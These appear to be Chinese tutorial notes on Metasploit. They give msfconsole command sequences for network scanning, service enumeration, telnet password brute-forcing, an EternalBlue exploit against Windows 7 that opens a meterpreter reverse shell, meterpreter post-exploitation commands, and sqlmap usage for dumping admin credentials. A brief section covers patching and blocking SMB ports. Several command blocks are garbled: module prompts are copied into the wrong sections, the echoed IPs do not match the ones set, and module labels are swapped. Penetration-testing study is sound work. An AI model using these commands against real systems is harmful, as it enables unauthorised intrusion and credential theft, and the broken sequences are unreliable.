一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。 渗透攻击是MSF最强大和最具吸引力的核心功能,还有情报搜集(集成数据库)、威胁建模(找出最可行的攻击路径)、漏洞分析、后渗透攻击与报告生成
一个模块就是一个rb脚本 exploits auxiliary payloads encoders nops evasion post ① 辅助模块 auxiliary 为渗透测试的信息收集环节提供了大量的辅助模块,包括各种网络服务的扫描与查点、构建虚拟服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块 辅助模块能帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息 ② 渗透攻击模块 exploits 是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷、从而获取对远程目标系统访问权的组件代码 主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通常通过连接目标系统网络服务,注入一些特殊构造的包含“邪恶”攻击数据的网络请求内容,触发安全漏洞,并使得远程服务进程执行在“邪恶”数据中包含攻击载荷,从而获取目标系统的控制会话。 被动渗透攻击利用的漏洞位于客户端软件中,如浏览器、浏览器插件、电子邮件客户端、office与Adobe等各种文档阅读与编辑软件。对于这类存在客户端软件的安全漏洞,我们无法主动的将数据从远程输入到客户端软件中,因此只能采用被动渗透测试攻击的方式,即构造出“邪恶”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务,发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些恶意的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的shell会话。 ③ 攻击载荷模块 payloads 攻击载荷模块是在渗透测试成功后使目标系统运行一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接 ④ 空指令模块 encoders 空指令(NOP)是一些对程序运行状态不会构成实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上操作码是0x90 ⑤ 编辑器模块 encoders 攻击载荷模块与空指令模块组装完成一个指定序列后,在这段指令被渗透攻击模块加入“邪恶”数据缓冲区交由目标系统运行之前,Metasploit架构还需要完成一道非常重要的工序——编码 编辑器模块的第一个使命就是确保攻击载荷不会出现渗透攻击过程中应加以避免的“坏字符” 编辑器模块的第二个使命就是对攻击载荷进行“免杀”处理 ⑥后渗透测试模块 post 主要支持在渗透测试攻击取得目标系统的控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等 ⑦免杀模块 nops 对攻击载荷进行“免杀”处理
启动msf msfconsole msf软件更新 apt-get update a apt-get install metasploit-framework info set show options use 你选择的利用模块
①网站敏感目录扫描
可以借助metasploit中的brute_dirs\dir_listing\dir_scanner等辅助模块赖进行敏感目录扫描 他们主要使用暴力破解的方式工作,注意此次需要提供一个目录字典
msf5>use auxiliary/scanner/http/dir_scanner msf5 auxiliary(scanner/http/dir_scanner)>set RHOSTS 172.16.132.138 Rhosts >=172.168.132.138 msf5 auxiliary(scanner/http/dir_scanner)>set PATH /cms/ Path=>/cms/ msf5 auxiliary(scanner/http/dir_scanner)>set THREADS 50 Threads=>50 msf5 auxiliary(scanner/http/dir_scanner)>exploitdir_scanner模块发现网站的一些目录,Admin、admin、images。只要字典足够大,可以找到更多的敏感目录
②主机发现
Metasploit中提供了一些辅助模块可用于主机发现,这些模块位于modules/auxiliary/scanner/discovery/目录中 auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/empty_udp auxiliary/scanner/discovery/ipv6_multicast_ping auxiliary/scanner/discovery/ipv6_neighbor auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement auxiliary/scanner/discovery/udp_probe auxiliary/scanner/discovery/udp_sweep 可以使用arp_sweep来枚举本地局域网中的所有活跃主机
msf5>use auxiliary/scanner/discovery/arp_sweep msf5 auxiliary(scanner/discovery/arp_sweep)>set RHOSTS 172.16.132.138/24 Rhosts =>172.168.132.138/24 msf5 auxiliary(scanner/discovery/arp_sweep)>set threads 50 Threads=>50 msf5 auxiliary(scanner/discovery/arp_sweep)>exploit③端口扫描
metasploit的辅助模块提供了几款实用的端口扫描器 auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/xmas auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/tcp 一般情况下推荐使用syn端口扫描器,因为他的扫描速度比较快,结果比较准确且不易被对方察觉
msf5>use auxiliary/scanner/portscan/syn msf5 auxiliary(scanner/portscan/syn)>set rhosts 172.16.132.138 Rhosts =>172.168.132.138 msf5 auxiliary(scanner/portscan/syn)>set threads 50 Threads=>50 msf5 auxiliary(scanner/portscan/syn)>exploit④探测服务详细信息
在metasploit中有一些插件可以调用系统中的命令,比如可以使用nmap探测目标的详细信心
⑤服务查点
在metasploit中有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version 的辅助模块中,该模块可用于遍历网络中包含某种服务的主机,并进一步确定服务版本
⑥telnet服务查点
可以使用telnet_version模块扫描一下是否有主机或设备开启Telnet服务
msf5>use auxiliary/scanner/telnet/telnet_version msf5 auxiliary(scanner/telnet/telnet_version)>set rhosts 172.16.132.138/24 Rhosts =>172.168.132.138/24 msf5 auxiliary(scanner/telnet/telnet_version)>set threads 50 Threads=>50 msf5 auxiliary(scanner/telnet/telnet_version)>exploit⑦ssh 服务查点
msf5>use auxiliary/scanner/ssh/ssh_version msf5 auxiliary(scanner/http/dir_scanner)>set rhosts 172.16.132.138 Rhosts =>172.168.132.138 msf5 auxiliary(scanner/http/dir_scanner)>set path /cms/ Path=>/cms/ msf5 auxiliary(scanner/http/dir_scanner)>set threads 50 Threads=>50 msf5 auxiliary(scanner/http/dir_scanner)>exploit⑧mssql服务查点
msf5>use auxiliary/scanner/mssql/mssql_ping msf5 auxiliary(scanner/http/dir_scanner)>set rhosts 172.16.132.138 Rhosts =>172.168.132.138 msf5 auxiliary(scanner/http/dir_scanner)>set path /cms/ Path=>/cms/ msf5 auxiliary(scanner/http/dir_scanner)>set threads 50 Threads=>50 msf5 auxiliary(scanner/http/dir_scanner)>exploit①telnet服务口令猜测
msf5>use auxiliary/scanner/telnet/telnet_login msf5 auxiliary(scanner/telnet_login)>set rhosts 172.16.132.138 Rhosts =>172.168.132.138 msf5 auxiliary(scanner/telnet_login)>set user_file /root/dic/user.dic User_file=>/root/dic/user.dic msf5 auxiliary(scanner/telnet_login)>set pass_file /root/dic/pwd.dic pass_file=>/root/dic/pwd.dic msf5 auxiliary(scanner/telnet_login)>set threads 50 Threads=>50 msf5 auxiliary(scanner/telnet_login)>exploit②SSH服务口令猜测
确定了网络上的SSH服务之后,可以使用MSF中的ssh_login 模块对SSH服务进行口令猜测工具,在进行口令攻击之前,需要一个好用的用户名和口令自动
③MSSQL服务破解
msfvenom 参数说明: -p –payload 指定需要使用的payload(攻击载荷) -f –format 指定输出格式 -l –list <module_type> 列出指定模块的所有资源 -n –nopsled 为payload预先指定一个NOP滑动长度 -e –encoder [encoder] 指定需要的encoder(编码器) -a
MS17-010 永恒之蓝 使用ms17-010对win7进行渗透(传说中的永恒之蓝)
msf5>use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue)>show options msf5 exploit(windows/smb/ms17_010_eternalblue)>set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue)>back msf5>use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010)show options msf5 auxiliary(scanner/smb/smb_ms17_010)set rhosts 10.10.10.20/24 Rhosts =>10.10.10.20/24 msf5 auxiliary(scanner/smb/smb_ms17_010)set threads 50 Threads=>50 msf5 auxiliary(scanner/smb/smb_ms17_010)exploit msf5>use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue)>show options msf5 exploit(windows/smb/ms17_010_eternalblue)>set RHOSTS 10.10.10.131 Rhosts =>10.10.10.131 msf5 exploit(windows/smb/ms17_010_eternalblue)>set LHOST 10.10.10.20 Rhosts =>10.10.10.20 msf5 exploit(windows/smb/ms17_010_eternalblue)>exploit meterpreter>常用命令
background 将meterpreter终端隐藏在后台 sessions 查看当前已经成功获取的会话。-i选项,切入后台会话 shell 获取系统的控制台shell quit 关闭当前的meterpreter会话,返回MSF终端 pwd 获取目标机上当前的工作目录 cd 切换目录 ls 查看当前目录的内容 upload 上传文件 cat 查看文件内容 edit 编辑文件 download 下载文件 search 搜索文件 ifconfig/ipconfig 查看文件信息 sysinfo 查看系统信息 getuid 获取当前用户的ID ps 查看进程 getpid 查看当前进程 migrate 切换进程 execute 执行文件 kill 终结指定PID 的进程 shutdown 关机 screenshot 屏幕快照
永恒之蓝利用Windows系统的SMB漏洞获得系统的最高权限,还通过永恒之蓝制作了勒索病毒,被勒索支付高额赎金才能解密恢复文件。 防护方法:及时更新Windows系统补丁,务必不要轻易打开doc,rtf等后缀的附件 为防止电脑被勒索病毒攻击,关闭系统中的135,137,138,139,445端口即可。 关闭端口方法:控制面板-系统和安全-Windows防火墙-高级设置-入站规则-新建规则-端口-输入135,137,138,139,445-选择阻止连接-“域”“专用”“公用”全选上,组织规则创建完毕
-u “url” 检测注入点 例:sqlmap -u “htttp://172.16.132.161/cms/show.php?Id=33” –dbs 列出所有数据库的名字 –current-db 列出当前数据库名字 -D 指定一个数据库 –tables 列出表名 -T 指定表名 –columns 列出所有的字段名 -C 指定字段 –dump 列出字段内容 例:使用以下命令对这name和password两个列进行查询并获取KEY sqlmap –u “http://www.test.ichunqiu/Art_Show.php?id=2” -D mys -T zzcms_admin –C name,password --dump
1)如果是get型号,直接,sqlmap -u “诸如点网址” 2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data=“post的参数” 3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”
